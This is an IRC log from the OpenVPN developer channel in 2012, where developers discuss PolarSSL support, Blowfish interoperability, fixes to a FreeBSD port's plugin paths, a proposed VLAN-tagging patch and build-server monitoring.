15:32 < novaflash> i therefore will depart forthwith 15:32 < novaflash> knights of the openvpn, i bid thee farewell 15:32 -!- novaflash [~novaflash@openvpn/user/novaflash] has left #openvpn-devel [] 17:05 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 245 seconds] 17:13 -!- Irssi: #openvpn-devel: Total of 15 nicks [7 ops, 0 halfops, 0 voices, 8 normal] 17:27 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 17:27 -!- mode/#openvpn-devel [+v krzee] by ChanServ 21:00 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds] --- Day changed Sat Sep 29 2012 07:23 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 07:23 -!- mode/#openvpn-devel [+v krzee] by ChanServ 07:30 < plaisthos> "My question is where should I start if I wanted to use your project as a library? I have no prior experience about both OpenVPN and networking stuff, so I get kinda lost when I look into your source code." 07:31 < plaisthos> When I get requests like this I have the feeling they want to do their work :/ 11:54 < reiffert> try to get involved with them to find out more details 13:08 -!- bantu [~quassel@phpbb/developer/bantu] has quit [Remote host closed the connection] 13:08 -!- bantu [~quassel@phpbb/developer/bantu] has joined #openvpn-devel 13:30 -!- bantu [~quassel@phpbb/developer/bantu] has quit [Remote host closed the connection] 13:34 -!- bantu [~quassel@phpbb/developer/bantu] has joined #openvpn-devel 14:15 -!- bantu [~quassel@phpbb/developer/bantu] has quit [Remote host closed the connection] 14:20 -!- bantu [~quassel@phpbb/developer/bantu] has joined #openvpn-devel 15:47 -!- bantu [~quassel@phpbb/developer/bantu] has quit [Remote host closed the connection] 16:10 -!- bantu [~quassel@phpbb/developer/bantu] has joined #openvpn-devel 16:16 -!- bantu [~quassel@phpbb/developer/bantu] has quit [Remote host closed the connection] 16:16 -!- bantu [~quassel@phpbb/developer/bantu] has joined #openvpn-devel 16:23 -!- bantu [~quassel@phpbb/developer/bantu] has quit [Remote host closed the connection] 16:23 -!- bantu [~quassel@phpbb/developer/bantu] has joined #openvpn-devel 16:56 -!- bantu [~quassel@phpbb/developer/bantu] has quit [Remote host closed the connection] 16:59 -!- bantu [~quassel@phpbb/developer/bantu] has joined #openvpn-devel 17:00 -!- bantu [~quassel@phpbb/developer/bantu] has quit [Remote host closed the connection] 17:00 -!- bantu [~quassel@phpbb/developer/bantu] has joined #openvpn-devel --- Day changed Sun Sep 30 2012 05:11 <@andj> cron2: PolarSSL fixed your bug 05:11 <@andj> http://polarssl.org/trac/changeset/1328 05:11 <@vpnHelper> Title: Changeset 1328 – PolarSSL Trac page (at polarssl.org) 06:43 -!- Devaux [~roger@91.138.46.62] has quit [Read error: Operation timed out] 12:21 <@cron2> andj: yay :-) 12:21 <@cron2> (was about to ask you about it, but was too busy last week) 14:50 <@andj> cron2: was off on a vacation anyway 14:52 <@andj> There's some cool stuff coming up in the new version: http://polarssl.org/trac/log/ 14:52 <@vpnHelper> Title: / (log) – PolarSSL Trac page (at polarssl.org) 14:53 <@cron2> SNI is good. The rest sounds great, but I have no idea what it's about :) 14:53 <@andj> there's more coming for version 1.2... Heard about some extra cipher support 14:53 <@andj> but the external key support is pretty cool 14:53 <@andj> allows MANAGEMENT_EXTERNAL_KEY to work 14:54 <@cron2> yeah, saw blowfish mentioned. this is cool. And that, too :-) 14:55 <@andj> support for integrity is pretty cool: http://www.ghs.com/products/rtos/integrity.html 14:55 <@vpnHelper> Title: INTEGRITY Real-time Operating System (at www.ghs.com) 14:55 <@andj> although that's not much of a consumer product 21:28 <+krzee> polarssl + blowfish = big win --- Day changed Mon Oct 01 2012 03:38 <@cron2> polarssl + blowfish = lots of work for cron2... (need to change the buildslave setup to run cross-tests between polarssl and openssl versions now) 03:39 <@cron2> andj: has 1.2.x released already? 03:44 < plaisthos> andj: MANAGMENT_EXTERNAL_KEY still needs to be documented :) 04:04 < keitsi> what's the performance of polarssl enabled openvpn when compared to openssl, especially in embedded hardware? 04:05 <@cron2> massively less memory and flash footprint... 04:07 < keitsi> that I figured. how about crypto speed? 04:08 < keitsi> interesting patchset 04:08 < plaisthos> which one? 04:09 < keitsi> polarssl enabled openvpn in general. it's not in mainline yet, yes? 04:10 < plaisthos> it is in mainline 04:10 < plaisthos> 2.3 04:12 < keitsi> whoa. I'll have to test it out. 04:12 < plaisthos> If my patch gets accepted I don't use any undocumented option anymore :) 04:13 <@cron2> plaisthos: where is that patch stuck? not sent yet, not ACKed yet, not commit+pushe'ed yet? 04:19 < plaisthos> cron2: sent 5 minutes ago 04:19 < plaisthos> give the mailing list time :D 04:19 <@cron2> hah :-) "stuck in sourceforge greylisting" 04:19 < plaisthos> cron2: in your graylisting :) 04:19 < plaisthos> i got my mail from the mailing list back already 04:20 <@cron2> Subject: [Openvpn-devel] [PATCH] Document man agent-external-key 04:20 <@cron2> stuck in my mailbox now... :) 04:20 < plaisthos> :) 05:16 < plaisthos> looking at ml: The push-peer-info option is strange 05:17 < plaisthos> if you give the client push-peer-info it will do VERIFY_PERMISSION (OPT_P_GENERAL); 05:17 < plaisthos> but if you give the client PUSH_PEER_INFO it will do options->push_peer_info = true; 05:17 < plaisthos> without checking any permissions 10:55 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Read error: Operation timed out] 10:59 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 10:59 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 11:00 -!- dazo_afk is now known as dazo 13:00 <@andj> hmm, slow replies :) 13:01 <@andj> cron2: PolarSSL won't be released for a while yet, I think. It's getting some more features still... I think it won't make it for OpenVPN 2.3 13:02 <@andj> keitsi: it's mostly about memory, size, and code readability (for government evaluations) 13:04 <@cron2> andj: can't they do an intermediate release? 13:04 <@andj> hehe :) 13:05 <@andj> I think there's some more features Paul wants in there 13:07 <@cron2> all fine, but he gets more time to implement them if he does an intermediate for the impatient (*plus* that would give more test coverage...) 13:07 <@andj> hehe, I still need to code support for some of the API changes 13:07 <@andj> the PKCS#11 support is an example there 13:08 <@cron2> this is... not so good. We want 2.3 out "soon", and not do major code changes in beta phase 13:09 <@andj> Exactly, I think it's going to be 2.4 13:09 <@andj> Or maybe 2.3.1 or something 13:09 <@cron2> 2.4 will be "early 2014" :-/ 13:09 <@andj> I'd prefer 2.3 to just support the current 1.1 PolarSSL stuff 13:10 <@cron2> well, yeah, but that breaks interop with OpenSSL OpenVPN, and that's sort of "also not so useful" 13:10 <@cron2> (... in default config...) 13:10 <@andj> Yeah, it's annoying... I can understand the API change there in PolarSSL 13:11 <+krzee> why does it break interop? 13:11 <@cron2> krzee: default openvpn does blowfish, polar 1.1 has no support for blowfish 13:11 <+krzee> </lurk> 13:11 <+krzee> oh, that 13:11 <@andj> ah, that interop, misread you ;) 13:11 <@cron2> you can change openvpn-openssl config to do aes, but there is no negotiation, so you'd have to change it on all clients 13:12 <+krzee> right i got ya 13:12 <@cron2> andj: the only thing that matters - "clients with one SSL library and servers with the other one" 13:12 <+krzee> safe to assume whoever installs polarssl is aware 13:12 <@cron2> especially since OpenWRT is building openvpn-devel-polarssl binaries nowadays... 13:12 <@andj> depends... If the distro does it 13:12 <+krzee> oh 13:12 <+krzee> i didnt know anyone did that now 13:13 <@andj> It's fine for the Dutch OpenVPN, since that's only supposed to be used with itself 13:13 <@cron2> krzee: openwrt builds both, but one is fat and ugly, and the other is lean and small, so guess what people will install on space-constrained routers... 13:13 <+krzee> sure, makes sense now 13:13 <+krzee> pretty cool too, i wonder if polarssl realizes how quick they're going to take over 13:14 <+krzee> i assume they do, which is why they're adding blowfish support 13:14 <@cron2> with *that* release cycle? "in 2020 or so"... 13:14 <+krzee> 2020!? 13:14 <+krzee> i thought it was coming together =/ 13:14 <@andj> lol, have you seen what the last release was? 13:15 <@andj> http://polarssl.org/news 13:15 <@vpnHelper> Title: News overview - PolarSSL (at polarssl.org) 13:15 <@andj> Think that's pretty decent 13:16 <@andj> But the next one is turning into a monster-sized release 13:16 <@andj> nice thing is that you can still disable most functionality at compiletime 13:16 <@andj> resulting in a cute, small binary 13:16 <@cron2> andj: yeah, and I think that's doing the same mistake we're doing in OpenVPN - making the releases too big, delaying too long - so other projects waiting for some of the stuff get delayed as well 13:17 <@andj> cron2: yeah, agreed 13:17 <@cron2> like pfsense IPv6 support getting harmed because we can't get OpenVPN 2.3 out of the door... and such 13:17 <@andj> first step to improve that is to get automated testing deeper into OpenVPN 13:17 <@andj> Start doing some integration/unit tests 13:18 <@andj> so we can have some more faith in the resulting binary 13:18 <@cron2> andj: yay, like automated interop tests polar<->openssl, no? Oh, wait, that needs blowfish :-) 13:18 <@andj> hehe, was thinking about code tests, not system tests 13:19 <@cron2> yeah, I know, and right you are :-) - but I'm quite happy with the improvements we made in the 2.3 release cycle, with buildbot doing automated client-server tests, which excercise SSL/crypto (albeit only BF), ifconfig/route on all platforms, packet transport quite well 13:19 <@andj> one step at a time 13:20 <@cron2> true 13:20 <@andj> agreed, the new tests are a huge improvement 13:21 <@cron2> and necessary groundwork for the refactoring of socket.c, tun.c and route.c that is likely going to happen in 2.4... :-) 13:21 <@andj> That's going to hurt a little 13:21 <@cron2> just so little 13:23 <@andj> I've been looking at DTLS... That looks pretty cool for OpenVPN too :) 14:14 < plaisthos> :) 14:17 <@ecrist> cron2: how'd your upgrade go? 14:47 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 255 seconds] 15:08 <@cron2> ecrist: didn't do that yet, broke other stuff :) 15:13 <@ecrist> ok 15:19 * plaisthos wanted to work on some dual stack feature and now I find myself cleaning up the print_sockaddr_* functions 15:19 < plaisthos> *sigh* 15:20 <@cron2> again? 15:20 < plaisthos> yes 15:21 < plaisthos> this time the right way :) 15:21 < plaisthos> noticed that if you bind to 0.0.0.0:port you get a bound to [undef] 16:15 < plaisthos> instead of bound to [undef]:1194 16:16 < plaisthos> Perhaps I should kick out the [undef] so it will be 0.0.0.0:1149 17:42 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 17:42 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Tue Oct 02 2012 00:10 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 245 seconds] 00:18 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 00:18 -!- mode/#openvpn-devel [+v krzee] by ChanServ 05:56 < plaisthos> You would think that any OS supporting in6_pktinfo does also support in_pktinfo ... 06:51 <@cron2> indeed. Is that not so? 07:15 < plaisthos> no :( 07:16 < plaisthos> on FreeBSD 9.0: 07:16 < plaisthos> arne@mail:/usr/include% grep -r in_pktinfo * | wc -l 0 07:16 < plaisthos> 0 07:17 < plaisthos> [14:16]arne@mail:/usr/include% grep -r in6_pktinfo * | wc -l 6 07:17 < plaisthos> [14:16]arne@mail:/usr/include% 07:17 < plaisthos> you have to use IP_RECVDSTADDR for IPv4 07:20 < plaisthos> interestly enough OS X supports either API 07:32 <@ecrist> OS X has a different kernel 07:32 < plaisthos> ecrist: yes but the Network stuff is FreeBSD 07:33 <@ecrist> some of it 07:33 <@ecrist> hell, OS X *just* got bridging support in 10.8 07:33 <@ecrist> sorry, 10.7 13:25 <+krzee> i think its actually more netbsd than freebsd, but thats a moot point 13:27 <+krzee> nope that was other code, networking is in fact freebsd 13:28 <+krzee> :x 17:13 -!- dystie [~dystonic@199.255.83.50] has joined #openvpn-devel 19:42 -!- dystie [~dystonic@199.255.83.50] has quit [Quit: dystie] --- Day changed Wed Oct 03 2012 07:04 <@cron2> ecrist: huh. Now *that* is a bit of a weird message from the openvpn-devel port... 07:04 <@cron2> ### Old Location: 07:04 <@cron2> ### /usr/local/openvpn/plugins/openvpn-plugin-auth-pam.so 07:04 <@cron2> ### /usr/local/openvpn/plugins/openvpn-plugin-down-root.so 07:04 <@cron2> ### 07:04 <@cron2> ### New Location: 07:04 <@cron2> ### /usr/local/openvpn-plugin-auth-pam.so 07:04 <@cron2> ### /usr/local/openvpn-plugin-down-root.so 07:05 <@cron2> and the symlink is all weird 07:05 <@cron2> /lib/openvpn-auth-pam.so -> /usr/ports/security/openvpn-devel/work/openvpn-devel/src/plugins/down-root/.libs/openvpn-plugin-auth-pam.so 07:05 <@cron2> don't you ever *test* your ports? 08:08 <@ecrist> cron2: why would I test? 08:08 <@ecrist> :P 08:11 * ecrist looks 08:12 <@ecrist> the link was totally my fault 08:25 <@ecrist> cron2: the message is simply missing /lib/ within, I'll fix that too 08:26 <@ecrist> the comitter ran the port through tinderbox, I'm not sure how it passed 08:29 <@ecrist> cron2: do these look correct to you: 08:29 <@ecrist> ${PREFIX}/lib/openvpn-plugin-down-root.so ${PREFIX}/openvpn/plugins/openvpn-down-root.so 08:29 <@ecrist> ${PREFIX}/lib/openvpn-plugin-auth-pam.so ${PREFIX}/openvpn/plugins/openvpn-auth-pam.so 09:14 <@ecrist> cron2: I have -devel fixed, would you please test it for me? 09:20 <@ecrist> cron2: http://secure-computing.net/files/openvpn-devel.tgz is the port, extract it anywhere and do the install from there 09:20 <@ecrist> (no need to put it in your ports tree) 11:16 <+krzee> [08:17] <Marquel> i've seen from the source tracker that there are options to set up vlan tagging features in openvpn, yet my local 2.2.2 installation mentiones none of them in either openvpn --help nor the man-page. yet commits are more than one year old - where did they go? :) 11:16 <+krzee> [09:16] <Marquel> now in the near future i will split those services into multiple vlans. my openvpn-clients are supposed to be part of exactly one of those vlans. reading that never-made-it-public-man-page with --vlan-* parameters: that's exactly what i am looking for: remove the tag from all packets coming into openvpn from its tap-interface and put it back on all packets arriving from clients and going out over that tap-interface. 11:19 -!- Marquel [~Marquel@unaffiliated/marquel] has joined #openvpn-devel 12:01 <@cron2> krzee/marquel: the vlan tag feature is not part of any official tree - the patch maintainer sent a hit-and-run patch, and that's all we had. But anyway, if you only use a single VLAN, you should be able to bridge the tap to *that* vlan interface (eth0.400 or whatever). Tag support in openvpn is only needed if you need to carry multiple VLANs 12:02 < Marquel> cron2: i've tried that one, and unfortunately that's not possible. 12:02 <@cron2> ecrist: thanks for that. I'm a bit confused about the naming of the stuff in /lib/ - those used to be called "lib/openvpn-auth-pam.so", without the "plugin" bit. That is what you are installing *now*, as "openvpn/plugins/openvpn-plugin-auth-pam.so" 12:02 < Marquel> cron2: if you do have the patch i'd be willing to do what i can to apply it to current stable. 12:03 <@cron2> Marquel: it has been sent to the openvpn-devel list, so it's in the archives (about two years ago or so). Google should find it, I don't have it "ready", would have to dig through the archives myself 12:04 <@cron2> ecrist: also I'm a bit confused about "old" and "new" in that message - what is "old"? -devel, as of "two weeks ago", or -devel, "as of early 2012"? In that case, your old/new paths are swapped 12:04 <@cron2> ecrist: in my config, I had "/usr/local/lib/openvpn-auth-pam.so" before the build revolution (= old) and "0/usr/local/lib/openvpn/plugins/openvpn-plugin-auth-pam.so" now (=new) 12:07 < Marquel> cron2: more specifically: it is not possible to do 'brctl addif br1.400 tap1' 12:08 <@cron2> Marquel: no, you add eth0.400 to br1, not eth0 to br1 and then tap1 to br1.400 12:08 <@cron2> bridge has no idea what a vlan tag is, so there is no br1.400 - that needs to be done at eth layer 12:17 < Marquel> cron2: that has changed a bit (and needs to) as the bridge in question is also bridging to a tap-interface which needs all those tags. 12:19 < Marquel> gotta run, bbl. 12:19 <@cron2> ok, in that case, you could set up a second bridge that bridges only the vlan in question to OpenVPN... 12:20 <@cron2> ... or indeed patch OpenVPN 12:24 <@ecrist> cron2: I'm confused, as well, it seems. 12:29 <@ecrist> so, /usr/local/lib/openvpn-auth-pam.so is the OLD path, the NEW path is /usr/local/lib/openvpn/plugins/openvpn-plugin-auth-pam.so? 12:31 <@cron2> yes 12:42 <@ecrist> that's more yuk than I thought. 14:28 < Marquel> cron2: or i could use a routed setup. 14:32 < Marquel> cron2: suppose i can make that patch work with current stable openvpn - is there any chance for that patch to make it into the main tree? 14:34 <@cron2> Marquel: a routed setup is less painful in many setups, and if you want Android clients, there is no other way anyway :-) 14:35 < Marquel> cron2: i have an android smart phone, yes. it's running on a >10yr old SIM which doesn't even support UMTS. thus the only reason i have it is its hardware qwerty keyboards ;) 14:36 <@cron2> as for "make it into the main tree" - yes, of course (it would need to be based on current git, which is 2.3beta1 right now), the key issue is "find people that use it and can test it well enough that we can have confidence in it". Better yet, find a way to automatically test it... 14:36 <@cron2> well, Android 4.x with OpenVPN-for-Android, that is :-) 14:36 <@cron2> was a strong enough case for us to convert a tap-based setup to tun 14:37 <+krzee> ahh nice point for when i go into tun nazi mode 14:37 < Marquel> if i can make it work with 2.2, i can make it work with 2.3 - but then i'd need some key-facts to know what you would regard as a test setup :) 14:37 <@cron2> "something that excercises the code well enough that you have confidence it in it" 14:38 <@cron2> testing tun is easy ("start openvpn, send a few thousand pings through the tun, stop it, verify that packets have been answered"). tap with bridging is hard, tap with vlans is even worse 14:40 < Marquel> unfortunately my personal setup will be exactly one vlan. though i _can_ imagine a setup with more... 14:40 <@ecrist> I can imagine fairies, too. ;) 14:41 <+krzee> what are they like ecrist? 14:41 < Marquel> (god damnit and all of this just because i'm letting some friends sleep in my apartment during a hacker congress while i'm not around...) 14:41 * krzee notes physical access 14:45 < Marquel> krzee: that is not so much a problem as the disks are fully encrypted. the lan is of more concern (hard-to-secure services like ... NFS! YAY!). thus: a managed switch with radius-authentication for each port and a vlan for those ports which aren't. after that: vlan's on the wifi-hotspot. which leads to the openvpn-clients-in-special-vlan-problem ;) 14:45 < Marquel> they should pay me for those three nights. 17:16 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 18:30 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 18:30 -!- mode/#openvpn-devel [+v krzee] by ChanServ 18:47 <@ecrist> so, cron2, just to clarify, yet again: 18:48 <@ecrist> you want a symlink from /usr/local/lib/openvpn-auth-pam.so to /usr/local/lib/openvpn/plugins/openvpn-plugin-auth-pam.so right? 18:48 <@ecrist> like so: 18:48 <@ecrist> lrwxrwxr-x 1 root wheel 41 Oct 3 19:48 openvpn-auth-pam.so -> /usr/local/lib/openvpn-plugin-auth-pam.so 18:48 <@ecrist> lrwxrwxr-x 1 root wheel 42 Oct 3 19:48 openvpn-down-root.so -> /usr/local/lib/openvpn-plugin-down-root.so 21:29 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds] 23:17 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 23:17 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Thu Oct 04 2012 00:28 -!- cron2 [~gert@openvpn/community/developer/cron2] has quit [Read error: Connection reset by peer] 01:53 -!- cron2 [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 01:53 -!- mode/#openvpn-devel [+o cron2] by ChanServ 01:53 <@cron2> ecrist: yes on the first question, no on the second one (because the symlinks you show are not the ones you've asked me) 07:11 <@ecrist> what are you looking for, then? 07:12 <@ecrist> oh, derp, those need to point to the right sub dir 08:05 -!- cron2 [~gert@openvpn/community/developer/cron2] has quit [Read error: Connection reset by peer] 08:50 -!- cron2 [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 08:50 -!- mode/#openvpn-devel [+o cron2] by ChanServ 09:32 -!- cron2 [~gert@openvpn/community/developer/cron2] has quit [Ping timeout: 240 seconds] 10:16 <@andj> Evening... 10:16 <@andj> Anyone played with Windows 8 and OpenVPN yet? 10:20 <@ecrist> not I 10:20 <@andj> Hmm, might be interesting to see whether the tun device works 11:59 -!- cron2 [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 11:59 -!- mode/#openvpn-devel [+o cron2] by ChanServ 20:57 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: Leaving] 21:25 <@ecrist> cron2: please tell me I got it right now: 21:25 <@ecrist> openvpn-down-root.so -> /usr/local/lib/openvpn/plugins/openvpn-plugin-down-root.so 21:25 <@ecrist> openvpn-auth-pam.so -> /usr/local/lib/openvpn/plugins/openvpn-plugin-auth-pam.so 21:26 <@ecrist> pwd is /usr/local/lib/ 21:32 <@ecrist> cron2: Here's another go - if you approve, I'll push it out, and correct -beta 21:32 <@ecrist> http://secure-computing.net/openvpn-devel.tgz 22:00 -!- Netsplit *.net <-> *.split quits: @andj 22:05 -!- Netsplit over, joins: @andj --- Day changed Fri Oct 05 2012 01:35 < reiffert> plaisthos: guy looking out for openvpn help on android 03:10 <@cron2> ecrist: *that* looks good (the symlinks). Will look at the port ASAP 03:51 < plaisthos> reiffert: that guy still there? 07:04 <@ecrist> thanks, cron2 07:31 < reiffert> plaisthos: he figured it out .. TLS settings 10:20 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 10:20 -!- mode/#openvpn-devel [+v krzee] by ChanServ 12:14 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: Leaving] 13:31 <@cron2> where's mattock these days? 13:31 <@cron2> buildmaster died 15:34 <@ecrist> cron2: any ideas? 15:34 <@ecrist> email sent. 16:42 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 16:42 -!- mode/#openvpn-devel [+v krzee] by ChanServ 17:09 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: Leaving] --- Day changed Sat Oct 06 2012 02:22 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Disconnected by services] 02:24 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 02:24 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 02:54 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 02:54 -!- mode/#openvpn-devel [+v krzee] by ChanServ 13:34 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 246 seconds] 13:34 < plaisthos> funny fact, the Nexus 7 Android device has a hardware keystore, so the openvpn certificates are more secure on that gadget then on most enterprise solutions %) 14:19 <@cron2> cool 14:19 * cron2 wants a Nexus 7 with 3G radio 14:49 -!- MarqueI [~Marquel@static.132.171.47.78.clients.your-server.de] has joined #openvpn-devel 14:50 -!- maxb_ [~maxb@jabberwock.vm.bytemark.co.uk] has joined #openvpn-devel 14:55 -!- Netsplit *.net <-> *.split quits: maxb, Marquel, waldner, @mattock 14:55 -!- MarqueI is now known as Marquel 14:55 -!- Marquel [~Marquel@static.132.171.47.78.clients.your-server.de] has quit [Changing host] 14:55 -!- Marquel [~Marquel@unaffiliated/marquel] has joined #openvpn-devel 14:56 -!- Netsplit over, joins: waldner, @mattock 15:00 -!- Netsplit *.net <-> *.split quits: waldner 15:00 -!- Netsplit *.net <-> *.split quits: @mattock 15:01 -!- Netsplit over, joins: waldner, @mattock --- Day changed Sun Oct 07 2012 00:53 < Marquel> cron2: the other day we discussed how a vlan-tagging patch could make it into openvpn-main. i've made it compile with current stable (have yet to test it, but that has to wait until some piece of hardware arrives). on which git branch should i work to get at least one step into getting it to main tree? :) 01:37 <@cron2> git master 01:37 < Marquel> cron2: thx :) 01:38 < Marquel> cron2: wrt. "find people that use it" - i'm quite sure i can't ;) 01:39 < Marquel> and for automated testing - i do not understand enough of the codebase to do that. and i'm afraid my two full-time day-jobs might make it a little hard for me to find out. 03:41 <@cron2> well, in that case it is good to have an updated patch, but unless more people will use it and report success, it might not get "in" 03:42 <@cron2> the core team is fairly busy testing all the stuff *we* change and might break, so having a large chunk of "foreign" code needs strong backing 03:56 < Marquel> understood 10:23 < Marquel> cron2: jFYI: I've tried and was a bit suprised but the vlan-enabling patch - though not functionally tested - applied with less struggling to git master than i did expect. i can supply one big patchset or splitted patches. whatever you prefer :) 10:27 -!- maxb_ is now known as maxb 12:25 <@cron2> I'm not *so* surprised, actually :-) - related to ethernet and tap things, not very much was changed between 2.1 and 2.3/git-master. In doubt, patch-sets are preferred. 12:35 < Marquel> cron2: i was also asking b/c the splitted patch is probably easier to understand and to read "won't break anything" :) - what i had to patch on the jump to 2.3 was configure.ac and options.h - everything else went in as if there actually weren't any changes. 12:38 < Marquel> cron2: where would i mail the patch? openvpn-devel@? 13:44 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 13:44 -!- mode/#openvpn-devel [+v krzee] by ChanServ 14:02 <@cron2> openvpn-devel@, yes 14:47 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 18:42 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 18:42 -!- mode/#openvpn-devel [+v krzee] by ChanServ 18:47 <@vpnHelper> RSS Update - tickets: #229: easy-rsa: failed to update database > TXT_DB error number 2 <https://community.openvpn.net/openvpn/ticket/229> 22:23 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 22:47 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 22:47 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Mon Oct 08 2012 12:30 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: Leaving] 12:30 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 12:30 -!- mode/#openvpn-devel [+v krzee] by ChanServ 18:34 <@vpnHelper> RSS Update - tickets: #230: IPV6 environment variables missing for client-connect <https://community.openvpn.net/openvpn/ticket/230> --- Day changed Tue Oct 09 2012 00:38 <@mattock> I'm here, will take a look at the buildmaster 00:38 <@mattock> my crappy desktop IRC client is, well, so crappy, that I use irssi on my server 00:39 <@mattock> and I sometimes forget to open up an ssh connection there 00:41 <@mattock> buildmaster up 00:42 <@mattock> for some reason it had died, I should add monit rules for it 00:43 <@mattock> -> TODO 01:18 <@mattock> besides that, I'm "swamped" for next 2-3 weeks, so I may be slow to respond 02:15 <@cron2> mattock: yes, please add some monitoring :) 02:15 <@cron2> slaves seem to have survived 07:37 * ecrist contemplates zabbix for openvpn 07:37 <@ecrist> we sort of have a lot of things up and about 08:05 * cron2 is always in favour of finding out why stuff crashes, instead of just monitoring it :-) - but for the time in between, zabbix might be useful. Paging mattock every 5 minutes, of course. 08:06 <@ecrist> of course. ;) 08:06 <@ecrist> cron2: Zabbix/Nagios is good for detecting WHEN things crash, up to an admin to figure out WHY 08:45 <@mattock> I use monit distributed using puppet, which fixes things automatically (provided the service is just down instead of completely misconfigured/broken) 08:46 <@mattock> per-service monit rule fragments, that is 16:18 <@cron2> huh 16:18 <@cron2> nice and exciting new bug for d12fk, it seems 22:10 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Quit: Ciao] --- Day changed Wed Oct 10 2012 02:18 <@mattock> mkay, setting up buildbot monitoring 03:09 <@d12fk> cron2: not so exciting, just not quoting stuff, " in user/pass breaks as well 03:09 <@d12fk> will fix asap 03:14 <@cron2> d12fk: but that's the first real bug in 2.3 alpha/beta release cycle, no? 03:15 <@d12fk> i've had it reported a while ago, but forgot about it =) 03:15 <@cron2> bad d12fk! 03:15 <@d12fk> but yes, good folks a taking closer looks now 03:59 < plaisthos> d12fk: welcome to the club :D I had the same bug in my app 06:47 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 246 seconds] 06:57 <@ecrist> cron2: you never got back to me on the updated/fixed port 07:02 <@cron2> ecrist: uh, I read your statement as "mail to the committer has been sent" so I thought all had been said - but indeed, I haven't tested the tar bundle yet. Could you send me the URL again, please? 07:03 <@ecrist> iirc, http://secure-computing.net/files/openvpn-devel.tgz 07:03 <@ecrist> I was holding on communicating to the comitter until I heard from you 07:26 <@cron2> Verbindungsaufbau zu secure-computing.net (secure-computing.net)|2607:fc50:1001:5200::2|:80... fehlgeschlagen: Connection refused. 07:26 <@cron2> "your IPv6 is borked" 07:27 <@cron2> (IPv4 worked) 07:31 <@cron2> ecrist: old location / new location is still wrong 07:31 <@cron2> ### Old Location: 07:31 <@cron2> ### /usr/local/openvpn/plugins/openvpn-plugin-auth-pam.so 07:31 <@cron2> ### /usr/local/openvpn/plugins/openvpn-plugin-down-root.so 07:31 <@cron2> ### 07:31 <@cron2> ### New Location: 07:31 <@cron2> ### /usr/local/lib/openvpn-plugin-down-root.so 07:31 <@cron2> ### /usr/local/lib/openvpn-plugin-auth-pam.so 07:31 <@cron2> other way round 07:32 <@cron2> and the symlinks are also all borked still 07:32 <@cron2> gert@moebius3:/usr/local/lib$ ls -lrt 07:32 <@cron2> lrwxr-xr-x 1 root wheel 42 10 Okt 14:30 openvpn-down-root.so -> /usr/local/lib/openvpn-plugin-down-root.so 07:32 <@cron2> lrwxr-xr-x 1 root wheel 41 10 Okt 14:30 openvpn-auth-pam.so -> /usr/local/lib/openvpn-plugin-auth-pam.so 08:00 <@ecrist> grr 08:00 <@ecrist> I'll fix it today, I was certain it was fixed, maybe I didn't upload the correct tgz 08:01 <@ecrist> cron2: I hadn't uploaded it. try again? 08:02 <@ecrist> the pkg-message is still backwards, I'll fix it now, but the symlinks should be fixed 08:02 <@cron2> IPv6 still refuses connections... :) - retrying 08:03 <@ecrist> IPv6 refuses connections? 08:03 <@ecrist> it's working for me..., but I guess I'm internal 08:04 <@ecrist> cron2: it seems my configuration should be correct 08:05 <@ecrist> oh, no it's not 08:05 <@ecrist> there seems to be a DNS snafu 08:05 * ecrist fixes 08:05 <@ecrist> if you add www to the URL, that should work. 08:05 <@ecrist> I have my DNS screwed up 08:08 <@ecrist> I've fixed the DNS, may take a big to propagate. 08:10 <@cron2> ah 08:12 <@cron2> ok, the symlinks are good now. Fix the message and we're set :-) 08:15 <@ecrist> ok. I'll try to get it pushed out today then. 08:31 <@mattock> monitoring config tested on buildslaves, will test it on master 08:32 <@mattock> don't be surprised if buildmaster disappears temporarily 08:34 <@mattock> killing master now... 08:38 -!- mattock_ [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 08:38 -!- mode/#openvpn-devel [+o mattock_] by ChanServ 09:15 -!- krzee [nobody@openvpn/community/support/krzee] has joined 